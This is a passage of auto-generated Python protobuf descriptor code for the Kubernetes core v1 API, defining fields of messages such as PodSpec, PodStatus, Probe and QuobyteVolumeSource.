full_name='k8s.io.api.core.v1.PodSpec.hostIPC', index=15, number=13, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='shareProcessNamespace', full_name='k8s.io.api.core.v1.PodSpec.shareProcessNamespace', index=16, number=27, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='securityContext', full_name='k8s.io.api.core.v1.PodSpec.securityContext', index=17, number=14, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='imagePullSecrets', full_name='k8s.io.api.core.v1.PodSpec.imagePullSecrets', index=18, number=15, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostname', full_name='k8s.io.api.core.v1.PodSpec.hostname', index=19, number=16, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='subdomain', full_name='k8s.io.api.core.v1.PodSpec.subdomain', index=20, number=17, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='affinity', full_name='k8s.io.api.core.v1.PodSpec.affinity', index=21, number=18, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='schedulerName', full_name='k8s.io.api.core.v1.PodSpec.schedulerName', index=22, number=19, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tolerations', full_name='k8s.io.api.core.v1.PodSpec.tolerations', index=23, number=22, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostAliases', full_name='k8s.io.api.core.v1.PodSpec.hostAliases', index=24, number=23, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='priorityClassName', full_name='k8s.io.api.core.v1.PodSpec.priorityClassName', index=25, number=24, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='priority', full_name='k8s.io.api.core.v1.PodSpec.priority', index=26, number=25, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='dnsConfig', full_name='k8s.io.api.core.v1.PodSpec.dnsConfig', index=27, number=26, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readinessGates', full_name='k8s.io.api.core.v1.PodSpec.readinessGates', index=28, number=28, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='runtimeClassName', full_name='k8s.io.api.core.v1.PodSpec.runtimeClassName', index=29, number=29, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='enableServiceLinks', full_name='k8s.io.api.core.v1.PodSpec.enableServiceLinks', index=30, number=30, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='preemptionPolicy', full_name='k8s.io.api.core.v1.PodSpec.preemptionPolicy', index=31, number=31, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='overhead', full_name='k8s.io.api.core.v1.PodSpec.overhead', index=32, number=32, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='topologySpreadConstraints', full_name='k8s.io.api.core.v1.PodSpec.topologySpreadConstraints', index=33, number=33, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='setHostnameAsFQDN', full_name='k8s.io.api.core.v1.PodSpec.setHostnameAsFQDN', index=34, number=35, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='os', full_name='k8s.io.api.core.v1.PodSpec.os', index=35, number=36, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_PODSPEC_NODESELECTORENTRY, _PODSPEC_OVERHEADENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=24167, serialized_end=25715, ) _PODSTATUS = _descriptor.Descriptor( name='PodStatus', full_name='k8s.io.api.core.v1.PodStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='phase', full_name='k8s.io.api.core.v1.PodStatus.phase', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conditions', full_name='k8s.io.api.core.v1.PodStatus.conditions', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message', full_name='k8s.io.api.core.v1.PodStatus.message', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reason', full_name='k8s.io.api.core.v1.PodStatus.reason', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='nominatedNodeName', full_name='k8s.io.api.core.v1.PodStatus.nominatedNodeName', index=4, number=11, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostIP', full_name='k8s.io.api.core.v1.PodStatus.hostIP', index=5, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='podIP', full_name='k8s.io.api.core.v1.PodStatus.podIP', index=6, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='podIPs', full_name='k8s.io.api.core.v1.PodStatus.podIPs', index=7, number=12, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='startTime', full_name='k8s.io.api.core.v1.PodStatus.startTime', index=8, number=7, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='initContainerStatuses', full_name='k8s.io.api.core.v1.PodStatus.initContainerStatuses', index=9, number=10, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='containerStatuses', full_name='k8s.io.api.core.v1.PodStatus.containerStatuses', index=10, number=8, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='qosClass', full_name='k8s.io.api.core.v1.PodStatus.qosClass', index=11, number=9, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='ephemeralContainerStatuses', full_name='k8s.io.api.core.v1.PodStatus.ephemeralContainerStatuses', index=12, number=13, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=25718, serialized_end=26218, ) _PODSTATUSRESULT = _descriptor.Descriptor( name='PodStatusResult', full_name='k8s.io.api.core.v1.PodStatusResult', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.PodStatusResult.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.PodStatusResult.status', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=26221, serialized_end=26353, ) _PODTEMPLATE = _descriptor.Descriptor( name='PodTemplate', full_name='k8s.io.api.core.v1.PodTemplate', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.PodTemplate.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='template', full_name='k8s.io.api.core.v1.PodTemplate.template', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=26356, serialized_end=26492, ) _PODTEMPLATELIST = _descriptor.Descriptor( name='PodTemplateList', full_name='k8s.io.api.core.v1.PodTemplateList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.PodTemplateList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.PodTemplateList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=26495, serialized_end=26626, ) _PODTEMPLATESPEC = _descriptor.Descriptor( name='PodTemplateSpec', full_name='k8s.io.api.core.v1.PodTemplateSpec', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.PodTemplateSpec.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='spec', full_name='k8s.io.api.core.v1.PodTemplateSpec.spec', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=26629, serialized_end=26757, ) _PORTSTATUS = _descriptor.Descriptor( name='PortStatus', full_name='k8s.io.api.core.v1.PortStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='port', full_name='k8s.io.api.core.v1.PortStatus.port', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='protocol', full_name='k8s.io.api.core.v1.PortStatus.protocol', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='error', full_name='k8s.io.api.core.v1.PortStatus.error', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=26759, serialized_end=26818, ) _PORTWORXVOLUMESOURCE = _descriptor.Descriptor( name='PortworxVolumeSource', full_name='k8s.io.api.core.v1.PortworxVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='volumeID', full_name='k8s.io.api.core.v1.PortworxVolumeSource.volumeID', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.PortworxVolumeSource.fsType', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.PortworxVolumeSource.readOnly', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=26820, serialized_end=26894, ) _PRECONDITIONS = _descriptor.Descriptor( name='Preconditions', full_name='k8s.io.api.core.v1.Preconditions', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='uid', full_name='k8s.io.api.core.v1.Preconditions.uid', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=26896, serialized_end=26924, ) _PREFERAVOIDPODSENTRY = _descriptor.Descriptor( name='PreferAvoidPodsEntry', full_name='k8s.io.api.core.v1.PreferAvoidPodsEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='podSignature', full_name='k8s.io.api.core.v1.PreferAvoidPodsEntry.podSignature', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='evictionTime', full_name='k8s.io.api.core.v1.PreferAvoidPodsEntry.evictionTime', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reason', full_name='k8s.io.api.core.v1.PreferAvoidPodsEntry.reason', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message', full_name='k8s.io.api.core.v1.PreferAvoidPodsEntry.message', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=26927, serialized_end=27104, ) _PREFERREDSCHEDULINGTERM = _descriptor.Descriptor( name='PreferredSchedulingTerm', full_name='k8s.io.api.core.v1.PreferredSchedulingTerm', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='weight', full_name='k8s.io.api.core.v1.PreferredSchedulingTerm.weight', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='preference', full_name='k8s.io.api.core.v1.PreferredSchedulingTerm.preference', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=27106, serialized_end=27205, ) _PROBE = _descriptor.Descriptor( name='Probe', full_name='k8s.io.api.core.v1.Probe', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='handler', full_name='k8s.io.api.core.v1.Probe.handler', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='initialDelaySeconds', full_name='k8s.io.api.core.v1.Probe.initialDelaySeconds', index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='timeoutSeconds', full_name='k8s.io.api.core.v1.Probe.timeoutSeconds', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='periodSeconds', full_name='k8s.io.api.core.v1.Probe.periodSeconds', index=3, number=4, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='successThreshold', full_name='k8s.io.api.core.v1.Probe.successThreshold', index=4, number=5, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='failureThreshold', full_name='k8s.io.api.core.v1.Probe.failureThreshold', index=5, number=6, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='terminationGracePeriodSeconds', full_name='k8s.io.api.core.v1.Probe.terminationGracePeriodSeconds', index=6, number=7, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=27208, serialized_end=27433, ) _PROBEHANDLER = _descriptor.Descriptor( name='ProbeHandler', full_name='k8s.io.api.core.v1.ProbeHandler', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='exec', full_name='k8s.io.api.core.v1.ProbeHandler.exec', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='httpGet', full_name='k8s.io.api.core.v1.ProbeHandler.httpGet', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tcpSocket', full_name='k8s.io.api.core.v1.ProbeHandler.tcpSocket', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='grpc', full_name='k8s.io.api.core.v1.ProbeHandler.grpc', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=27436, serialized_end=27650, ) _PROJECTEDVOLUMESOURCE = _descriptor.Descriptor( name='ProjectedVolumeSource', full_name='k8s.io.api.core.v1.ProjectedVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='sources', full_name='k8s.io.api.core.v1.ProjectedVolumeSource.sources', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='defaultMode', full_name='k8s.io.api.core.v1.ProjectedVolumeSource.defaultMode', index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=27652, serialized_end=27751, ) _QUOBYTEVOLUMESOURCE = _descriptor.Descriptor( name='QuobyteVolumeSource', full_name='k8s.io.api.core.v1.QuobyteVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='registry', full_name='k8s.io.api.core.v1.QuobyteVolumeSource.registry', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volume', full_name='k8s.io.api.core.v1.QuobyteVolumeSource.volume', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.QuobyteVolumeSource.readOnly', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='user', full_name='k8s.io.api.core.v1.QuobyteVolumeSource.user', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='group', full_name='k8s.io.api.core.v1.QuobyteVolumeSource.group', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tenant', full_name='k8s.io.api.core.v1.QuobyteVolumeSource.tenant', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, 